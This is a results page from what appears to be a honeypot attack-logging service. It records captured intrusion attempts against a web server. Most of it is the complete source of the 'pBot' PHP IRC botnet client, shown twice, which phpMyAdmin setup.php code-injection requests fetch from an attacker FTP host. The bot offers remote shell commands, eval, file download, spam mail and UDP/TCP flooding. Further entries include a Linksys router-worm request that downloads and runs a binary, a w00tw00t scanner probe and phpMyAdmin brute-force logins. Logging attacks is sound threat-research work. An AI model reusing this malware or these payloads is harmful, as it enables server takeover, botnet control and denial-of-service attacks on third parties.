Honerix - Search results

1-10 of 6218231 results (621824 pages)

phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit

[Include] [Exclude] [info]

[Attack info]

Attacker: 167.71.224.29

Dest. port: 80

Time: 12/08/2020 08:06:11

Resource(s): [details]

Request: permalink

[Extra info]

ASN/ISP: AS14061 DigitalOcean, LLC

Location: Karnataka, Bengaluru (zipcode 560001)

POST /phpmyadmin/scripts/setup.php HTTP/1.1
Content-Length: 241
cookie2: $Version="1"
Host: 117.31.45.167
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
connection: TE
referer: http://117.31.45.167/phpmyadmin/scripts/setup.php
cookie: phpMyAdmin=beda7396e33941a68dea6a935c39b6f8
te: deflate,gzip;q=0.3
Content-Type: application/x-www-form-urlencoded

action=lay_navigation&eoltype=unix&token=00f3af40a54f15c236e1c8128c0517d6&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A32%3A%22ftp%3A%2F%2F167%2E71%2E224%2E29%2Fpub%2Fpbot%2Ephp%22%3B%7D%7D

PHPMYADMIN

INJECTION

Resource ( 1 / 1 )

MD5: 122071df03c7a717d1a4aa0c52f768ff
Type: text/x-php
Size: 15073
URL: ftp://167.71.224.29/pub/pbot.php
[raw] [download] [related requests]

<?php
set_time_limit(0); 
error_reporting(0);
ignore_user_abort(true);

$dir = getcwd();
$uname= @php_uname();

function whereistmP()
{
        $uploadtmp=ini_get('upload_tmp_dir');
        $uf=getenv('USERPROFILE');
        $af=getenv('ALLUSERSPROFILE');
        $se=ini_get('session.save_path');
        $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
        if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
        if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
        if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
        if(is_dir($uf) && is_writable($uf))return $uf;
        if(is_dir($af) && is_writable($af))return $af;
        if(is_dir($se) && is_writable($se))return $se;
        if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
        if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
        return '.';        
}
function srvshelL($command)
{
        $name=whereistmP()."\\".uniqid('NJ');
        $n=uniqid('NJ');
        $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
        win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
        win32_start_service($n);
        win32_stop_service($n);
        win32_delete_service($n);
        while(!file_exists($name))sleep(1);
        $exec=file_get_contents($name);
        unlink($name);
        return $exec;
}
function ffishelL($command)
{
        $name=whereistmP()."\\".uniqid('NJ');
        $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
        $res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
        while(!file_exists($name))sleep(1);
        $exec=file_get_contents($name);
        unlink($name);
        return $exec;
}
function comshelL($command,$ws)
{
        $exec=$ws->exec("cmd.exe /c $command");
        $so=$exec->StdOut();
        return $so->ReadAll();
}
function perlshelL($command)
{
        $perl=new perl();
        ob_start();
        $perl->eval("system(\"$command\")");
        $exec=ob_get_contents();
        ob_end_clean();
        return $exec;
}
function Exe($command)
{
        $exec=$output='';
        $dep[]=array('pipe','r');$dep[]=array('pipe','w');
        if(function_exists('passthru')){ob_start();@passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
        elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
        elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
        elseif(function_exists('shell_exec'))[email protected]_exec($command);
        elseif(function_exists('popen')){[email protected]($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
        elseif(function_exists('proc_open')){[email protected]_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
        elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=winshelL($command);
        elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=srvshelL($command);
        elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=ffishelL($command);
        elseif(extension_loaded('perl'))$exec=perlshelL($command);
        return $exec;
}

class pBot
{
 var $config = array("server"=>"167.71.224.29", "port"=>"8080","key"=>"Always","prefix"=>"|", "maxrand"=>"6", "chan"=>"#net","trigger"=>".","hostauth"=>"*"); 
 var $users = array(); 
 function start()
 {
    while(true)
    {
        if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start(); 
        $ident = $this->config['prefix'];
        $alph = range("0","9");
        for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,9)];
        $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
        $this->set_nick();
        $this->main();
    }
}
 function main()
 {
    while(!feof($this->conn))
    {
    if(function_exists('stream_select'))
    {
    $read = array($this->conn);
    $write = NULL;
    $except = NULL;
    $changed = stream_select($read, $write, $except, 30);
    if($changed == 0)
    {
        fwrite($this->conn, "PING :lelcomeatme\r\n");
        $read = array($this->conn);
            $write = NULL;
            $except = NULL;
            $changed = stream_select($read, $write, $except, 30);
        if($changed == 0) break;
    }
    }
       $this->buf = trim(fgets($this->conn,512)); 
       $cmd = explode(" ",$this->buf); 
       if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); continue; }
       if(isset($cmd[1]) && $cmd[1] =="001") { $this->join($this->config['chan'],$this->config['key']); continue; } 
       if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); continue; }
       if($this->buf != $old_buf) 
       { 
          $mcmd = array(); 
          $msg = substr(strstr($this->buf," :"),2); 
          $msgcmd = explode(" ",$msg); 
          $nick = explode("!",$cmd[0]); 
          $vhost = explode("@",$nick[1]); 
          $vhost = $vhost[1]; 
          $nick = substr($nick[0],1); 
          $host = $cmd[0]; 
          if($msgcmd[0]==$this->nick) for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1];
          else for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i];

          if(count($cmd)>2) 
          { 
             switch($cmd[1]) 
             {
                case "PRIVMSG": 
                   if(true) 
                   {
                      if(substr($mcmd[0],0,1)==".") 
                      { 
                         switch(substr($mcmd[0],1)) 
                         {
                            case "mail":
                               if(count($mcmd)>4) 
                               { 
                                  $header = "From: <".$mcmd[2].">"; 
                                  if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: failed sending.");
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: sent."); 
                                  } 
                               } 
                            break;
                            case "dns": 
                               if(isset($mcmd[1])) 
                               { 
                                  $ip = explode(".",$mcmd[1]); 
                                  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); 
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); 
                                  } 
                               } 
                            break;
                            case "uname":
                               if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
                               else { $safemode = "off"; }
                               $uname = php_uname();
                               $this->privmsg($this->config['chan'],"[\2info\2]: ".$uname." (safe: ".$safemode.")");
                            break;
                            case "rndnick": 
                               $this->set_nick(); 
                            break; 
                            case "raw":
                               $this->send(strstr($msg,$mcmd[1])); 
                            break; 
                            case "eval":
            
                    ob_start();
                                eval(strstr($msg,$mcmd[1]));
                    $exec=ob_get_contents();
                ob_end_clean();
                               $ret = explode("\n",$exec);
                               for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break;
                            case "cmd": 
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = Exe($command); 
                               $ret = explode("\n",$exec);
                               for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break;
                            case "ud.server": 
                               if(count($mcmd)>2) 
                               { 
                                  $this->config['server'] = $mcmd[1]; 
                                  $this->config['port'] = $mcmd[2]; 
                                  if(isset($mcmcd[3])) 
                                  { 
                                   $this->config['pass'] = $mcmd[3]; 
                                   $this->privmsg($this->config['chan'],"[\2update\2]: info updated ".$mcmd[1].":".$mcmd[2]." pass: ".$mcmd[3]); 
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2update\2]: switched server to ".$mcmd[1].":".$mcmd[2]); 
                                  }
                  fclose($this->conn);                
                               } 
                            break; 
                            case "download": 
                               if(count($mcmd) > 2) 
                               { 
                                  if(!$fp = fopen($mcmd[2],"w")) 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2download\2]: could not open output file."); 
                                  } 
                                  else 
                                  { 
                                     if(!$get = file($mcmd[1])) 
                                     { 
                                        $this->privmsg($this->config['chan'],"[\2download\2]: could not download \2".$mcmd[1]."\2"); 
                                     } 
                                     else 
                                     { 
                                        for($i=0;$i<=count($get);$i++) 
                                        { 
                                           fwrite($fp,$get[$i]); 
                                        } 
                                        $this->privmsg($this->config['chan'],"[\2download\2]: file \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
                                     } 
                                     fclose($fp); 
                                  } 
                               }
                               else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
                            break;
                            case "udpflood": 
                               if(count($mcmd)>4) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]); } 
                            break; 
                            case "tcpconn": 
                               if(count($mcmd)>5) { $this->tcpconn($mcmd[1],$mcmd[2],$mcmd[3]); } 
                            break;
                         } 
                      } 
                   } 
                break; 
             } 
          } 
       }
    } 
 } 
 function send($msg) { fwrite($this->conn,$msg."\r\n"); } 
 function join($chan,$key=NULL) { $this->send("JOIN ".$chan." ".$key); } 
 function privmsg($to,$msg) { $this->send("PRIVMSG ".$to." :".$msg); }
 function notice($to,$msg) { $this->send("NOTICE ".$to." :".$msg); }
 function set_nick()
 {
    $this->nick = "";
    if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->nick .= "[WIN32]";
    else $this->nick .= "[LINUX]";
    if(isset($_SERVER['SERVER_SOFTWARE']))
    {
       if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) $this->nick .= "[A]"; 
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) $this->nick .= "[I]"; 
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) $this->nick .= "[X]"; 
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"nginx")) $this->nick .= "[N]"; 
       else $this->nick .= "[U]"; 
    }
    else
    {
       $this->nick .= "[C]";
    }
    $this->nick .= $this->config['prefix']; 
    for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9); 
    $this->send("NICK ".$this->nick);
 } 
  function udpflood($host,$port,$time,$packetsize) {
    $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]"); 
    $packet = "";
    for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
    $end = time() + $time;
    $multitarget = false;
    if(strpos($host, ",") !== FALSE)
    {
        $multitarget = true;
        $host = explode(",", $host);
    }
    $i = 0;
    if($multitarget)
    {
        $fp = array();
        foreach($host as $hostt) $fp[] = fsockopen("udp://".$hostt,$port,$e,$s,5);

        $count = count($host);
        while(true)
        {
                  fwrite($fp[$i % $count],$packet);
            fflush($fp[$i % $count]);
            if($i % 100 == 0)
            {
                if($end < time()) break;
            }
            $i++;
        }

               foreach($fp as $fpp) fclose($fpp);
    } else {
        $fp = fsockopen("udp://".$host,$port,$e,$s,5);
        while(true)
        {
                  fwrite($fp,$packet);
            fflush($fp);
            if($i % 100 == 0)
            {
                if($end < time()) break;
            }
            $i++;
        }
               fclose($fp);
    }
    $env = $i * $packetsize;
    $env = $env / 1048576;
    $vel = $env / $time;
    $vel = round($vel);
    $env = round($env);
    $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: ".$env." MB sent / Average: ".$vel." MB/s ");
}
 function tcpconn($host,$port,$time) 
 { 
    $this->privmsg($this->config['chan'],"[\2TcpConn Started!\2]"); 
    $end = time() + $time;
    $i = 0;
    while($end > time())
    {
    $fp = fsockopen($host, $port, $dummy, $dummy, 1);
    fclose($fp);
        $i++;
    }
    $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: sent ".$i." connections to $host:$port."); 
 }
} 
$bot = new pBot; 
$bot->start(); 
?>

phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit

[Include] [Exclude] [info]

[Attack info]

Attacker: 167.71.224.29

Dest. port: 80

Time: 12/08/2020 08:06:09

Resource(s): [details]

Request: permalink

[Extra info]

ASN/ISP: AS14061 DigitalOcean, LLC

Location: Karnataka, Bengaluru (zipcode 560001)

POST /pma/scripts/setup.php HTTP/1.1
Content-Length: 241
cookie2: $Version="1"
Host: 117.31.45.167
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
connection: TE
referer: http://117.31.45.167/pma/scripts/setup.php
cookie: phpMyAdmin=beda7396e33941a68dea6a935c39b6f8
te: deflate,gzip;q=0.3
Content-Type: application/x-www-form-urlencoded

action=lay_navigation&eoltype=unix&token=00f3af40a54f15c236e1c8128c0517d6&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A32%3A%22ftp%3A%2F%2F167%2E71%2E224%2E29%2Fpub%2Fpbot%2Ephp%22%3B%7D%7D

PHPMYADMIN

INJECTION

Resource ( 1 / 1 )

MD5: 122071df03c7a717d1a4aa0c52f768ff
Type: text/x-php
Size: 15073
URL: ftp://167.71.224.29/pub/pbot.php
[raw] [download] [related requests]

<?php
set_time_limit(0); 
error_reporting(0);
ignore_user_abort(true);

$dir = getcwd();
$uname= @php_uname();

function whereistmP()
{
        $uploadtmp=ini_get('upload_tmp_dir');
        $uf=getenv('USERPROFILE');
        $af=getenv('ALLUSERSPROFILE');
        $se=ini_get('session.save_path');
        $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
        if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
        if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
        if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
        if(is_dir($uf) && is_writable($uf))return $uf;
        if(is_dir($af) && is_writable($af))return $af;
        if(is_dir($se) && is_writable($se))return $se;
        if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
        if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
        return '.';        
}
function srvshelL($command)
{
        $name=whereistmP()."\\".uniqid('NJ');
        $n=uniqid('NJ');
        $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
        win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
        win32_start_service($n);
        win32_stop_service($n);
        win32_delete_service($n);
        while(!file_exists($name))sleep(1);
        $exec=file_get_contents($name);
        unlink($name);
        return $exec;
}
function ffishelL($command)
{
        $name=whereistmP()."\\".uniqid('NJ');
        $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
        $res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
        while(!file_exists($name))sleep(1);
        $exec=file_get_contents($name);
        unlink($name);
        return $exec;
}
function comshelL($command,$ws)
{
        $exec=$ws->exec("cmd.exe /c $command");
        $so=$exec->StdOut();
        return $so->ReadAll();
}
function perlshelL($command)
{
        $perl=new perl();
        ob_start();
        $perl->eval("system(\"$command\")");
        $exec=ob_get_contents();
        ob_end_clean();
        return $exec;
}
function Exe($command)
{
        $exec=$output='';
        $dep[]=array('pipe','r');$dep[]=array('pipe','w');
        if(function_exists('passthru')){ob_start();@passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
        elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
        elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
        elseif(function_exists('shell_exec'))[email protected]_exec($command);
        elseif(function_exists('popen')){[email protected]($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
        elseif(function_exists('proc_open')){[email protected]_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
        elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=winshelL($command);
        elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=srvshelL($command);
        elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=ffishelL($command);
        elseif(extension_loaded('perl'))$exec=perlshelL($command);
        return $exec;
}

class pBot
{
 var $config = array("server"=>"167.71.224.29", "port"=>"8080","key"=>"Always","prefix"=>"|", "maxrand"=>"6", "chan"=>"#net","trigger"=>".","hostauth"=>"*"); 
 var $users = array(); 
 function start()
 {
    while(true)
    {
        if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start(); 
        $ident = $this->config['prefix'];
        $alph = range("0","9");
        for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,9)];
        $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
        $this->set_nick();
        $this->main();
    }
}
 function main()
 {
    while(!feof($this->conn))
    {
    if(function_exists('stream_select'))
    {
    $read = array($this->conn);
    $write = NULL;
    $except = NULL;
    $changed = stream_select($read, $write, $except, 30);
    if($changed == 0)
    {
        fwrite($this->conn, "PING :lelcomeatme\r\n");
        $read = array($this->conn);
            $write = NULL;
            $except = NULL;
            $changed = stream_select($read, $write, $except, 30);
        if($changed == 0) break;
    }
    }
       $this->buf = trim(fgets($this->conn,512)); 
       $cmd = explode(" ",$this->buf); 
       if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); continue; }
       if(isset($cmd[1]) && $cmd[1] =="001") { $this->join($this->config['chan'],$this->config['key']); continue; } 
       if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); continue; }
       if($this->buf != $old_buf) 
       { 
          $mcmd = array(); 
          $msg = substr(strstr($this->buf," :"),2); 
          $msgcmd = explode(" ",$msg); 
          $nick = explode("!",$cmd[0]); 
          $vhost = explode("@",$nick[1]); 
          $vhost = $vhost[1]; 
          $nick = substr($nick[0],1); 
          $host = $cmd[0]; 
          if($msgcmd[0]==$this->nick) for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1];
          else for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i];

          if(count($cmd)>2) 
          { 
             switch($cmd[1]) 
             {
                case "PRIVMSG": 
                   if(true) 
                   {
                      if(substr($mcmd[0],0,1)==".") 
                      { 
                         switch(substr($mcmd[0],1)) 
                         {
                            case "mail":
                               if(count($mcmd)>4) 
                               { 
                                  $header = "From: <".$mcmd[2].">"; 
                                  if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: failed sending.");
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: sent."); 
                                  } 
                               } 
                            break;
                            case "dns": 
                               if(isset($mcmd[1])) 
                               { 
                                  $ip = explode(".",$mcmd[1]); 
                                  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); 
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); 
                                  } 
                               } 
                            break;
                            case "uname":
                               if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
                               else { $safemode = "off"; }
                               $uname = php_uname();
                               $this->privmsg($this->config['chan'],"[\2info\2]: ".$uname." (safe: ".$safemode.")");
                            break;
                            case "rndnick": 
                               $this->set_nick(); 
                            break; 
                            case "raw":
                               $this->send(strstr($msg,$mcmd[1])); 
                            break; 
                            case "eval":
            
                    ob_start();
                                eval(strstr($msg,$mcmd[1]));
                    $exec=ob_get_contents();
                ob_end_clean();
                               $ret = explode("\n",$exec);
                               for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break;
                            case "cmd": 
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = Exe($command); 
                               $ret = explode("\n",$exec);
                               for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break;
                            case "ud.server": 
                               if(count($mcmd)>2) 
                               { 
                                  $this->config['server'] = $mcmd[1]; 
                                  $this->config['port'] = $mcmd[2]; 
                                  if(isset($mcmcd[3])) 
                                  { 
                                   $this->config['pass'] = $mcmd[3]; 
                                   $this->privmsg($this->config['chan'],"[\2update\2]: info updated ".$mcmd[1].":".$mcmd[2]." pass: ".$mcmd[3]); 
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2update\2]: switched server to ".$mcmd[1].":".$mcmd[2]); 
                                  }
                  fclose($this->conn);                
                               } 
                            break; 
                            case "download": 
                               if(count($mcmd) > 2) 
                               { 
                                  if(!$fp = fopen($mcmd[2],"w")) 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2download\2]: could not open output file."); 
                                  } 
                                  else 
                                  { 
                                     if(!$get = file($mcmd[1])) 
                                     { 
                                        $this->privmsg($this->config['chan'],"[\2download\2]: could not download \2".$mcmd[1]."\2"); 
                                     } 
                                     else 
                                     { 
                                        for($i=0;$i<=count($get);$i++) 
                                        { 
                                           fwrite($fp,$get[$i]); 
                                        } 
                                        $this->privmsg($this->config['chan'],"[\2download\2]: file \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
                                     } 
                                     fclose($fp); 
                                  } 
                               }
                               else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
                            break;
                            case "udpflood": 
                               if(count($mcmd)>4) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]); } 
                            break; 
                            case "tcpconn": 
                               if(count($mcmd)>5) { $this->tcpconn($mcmd[1],$mcmd[2],$mcmd[3]); } 
                            break;
                         } 
                      } 
                   } 
                break; 
             } 
          } 
       }
    } 
 } 
 function send($msg) { fwrite($this->conn,$msg."\r\n"); } 
 function join($chan,$key=NULL) { $this->send("JOIN ".$chan." ".$key); } 
 function privmsg($to,$msg) { $this->send("PRIVMSG ".$to." :".$msg); }
 function notice($to,$msg) { $this->send("NOTICE ".$to." :".$msg); }
 function set_nick()
 {
    $this->nick = "";
    if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->nick .= "[WIN32]";
    else $this->nick .= "[LINUX]";
    if(isset($_SERVER['SERVER_SOFTWARE']))
    {
       if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) $this->nick .= "[A]"; 
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) $this->nick .= "[I]"; 
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) $this->nick .= "[X]"; 
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"nginx")) $this->nick .= "[N]"; 
       else $this->nick .= "[U]"; 
    }
    else
    {
       $this->nick .= "[C]";
    }
    $this->nick .= $this->config['prefix']; 
    for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9); 
    $this->send("NICK ".$this->nick);
 } 
  function udpflood($host,$port,$time,$packetsize) {
    $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]"); 
    $packet = "";
    for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
    $end = time() + $time;
    $multitarget = false;
    if(strpos($host, ",") !== FALSE)
    {
        $multitarget = true;
        $host = explode(",", $host);
    }
    $i = 0;
    if($multitarget)
    {
        $fp = array();
        foreach($host as $hostt) $fp[] = fsockopen("udp://".$hostt,$port,$e,$s,5);

        $count = count($host);
        while(true)
        {
                  fwrite($fp[$i % $count],$packet);
            fflush($fp[$i % $count]);
            if($i % 100 == 0)
            {
                if($end < time()) break;
            }
            $i++;
        }

               foreach($fp as $fpp) fclose($fpp);
    } else {
        $fp = fsockopen("udp://".$host,$port,$e,$s,5);
        while(true)
        {
                  fwrite($fp,$packet);
            fflush($fp);
            if($i % 100 == 0)
            {
                if($end < time()) break;
            }
            $i++;
        }
               fclose($fp);
    }
    $env = $i * $packetsize;
    $env = $env / 1048576;
    $vel = $env / $time;
    $vel = round($vel);
    $env = round($env);
    $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: ".$env." MB sent / Average: ".$vel." MB/s ");
}
 function tcpconn($host,$port,$time) 
 { 
    $this->privmsg($this->config['chan'],"[\2TcpConn Started!\2]"); 
    $end = time() + $time;
    $i = 0;
    while($end > time())
    {
    $fp = fsockopen($host, $port, $dummy, $dummy, 1);
    fclose($fp);
        $i++;
    }
    $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: sent ".$i." connections to $host:$port."); 
 }
} 
$bot = new pBot; 
$bot->start(); 
?>

w00tw00t Scanner

[Include] [Exclude] [info]

[Attack info]

Attacker: 51.159.20.78

Dest. port: 80

Time: 12/08/2020 07:18:24

Resource(s):

Request: permalink

[Extra info]

ASN/ISP: AS12876 ONLINE S.A.S.

Location: Île-de-France, Paris (zipcode 75001)

rDNS: 51-159-20-78.rev.poneytelecom.eu

GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1
accept-language: en-us
accept-encoding: gzip, deflate
Host: 117.31.45.167
Accept: */*
User-Agent: ZmEu
connection: Close

W00TW00T

WOOTWOOT

SCANNER

Linksys "The Moon" Worm

[Include] [Exclude] [info]

[Attack info]

Attacker: 221.13.203.135

Dest. port: 8080

Time: 11/08/2020 09:44:10

Resource(s):

Request: permalink

[Extra info]

ASN/ISP: AS4837 CHINA UNICOM China169 Backbone

Location: Henan, Zhengzhou

rDNS: hn.kd.smx.adsl

POST /tmUnblock.cgi HTTP/1.1
Content-Length: 227
accept-encoding: gzip, deflate
connection: keep-alive
Accept: */*
User-Agent: python-requests/2.20.0
Host: 159.89.182.124:80
Content-Type: application/x-www-form-urlencoded

ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+jno.mpsl%3B+wget+http%3A%2F%2F159.89.182.124%2Fankit%2Fjno.mpsl%3B+chmod+777+jno.mpsl%3B+.%2Fjno.mpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

LINKSYS

ROUTER

WORM

DEVICE

phpMyAdmin login

[Include] [Exclude] [info]

[Attack info]

Attacker: 132.232.6.93

Dest. port: 80

Time: 11/08/2020 04:41:40

Resource(s):

Request: permalink

[Extra info]

ASN/ISP: AS45090 Shenzhen Tencent Computer Systems Company Limited

Location: Beijing, Haidian

GET /phpMyAdmin/index.php?pma_username=root&pma_password=passw0rd123&server=1 HTTP/1.1
Host: 117.31.45.167
cache-control: no-cache
cookie: phpMyAdmin=f79f000810d5c8ab4594dd7192b9d1ef
connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0

PHPMYADMIN

BRUTEFORCE

phpMyAdmin login

[Include] [Exclude] [info]

[Attack info]

Attacker: 132.232.6.93

Dest. port: 80

Time: 11/08/2020 04:41:39

Resource(s):

Request: permalink

[Extra info]

ASN/ISP: AS45090 Shenzhen Tencent Computer Systems Company Limited

Location: Beijing, Haidian

GET /phpMyAdmin/index.php?pma_username=root&pma_password=passw0rd12&server=1 HTTP/1.1
Host: 117.31.45.167
cache-control: no-cache
cookie: phpMyAdmin=f79f000810d5c8ab4594dd7192b9d1ef
connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0

PHPMYADMIN

BRUTEFORCE

phpMyAdmin login

[Include] [Exclude] [info]

[Attack info]

Attacker: 132.232.6.93

Dest. port: 80

Time: 11/08/2020 04:41:38

Resource(s):

Request: permalink

[Extra info]

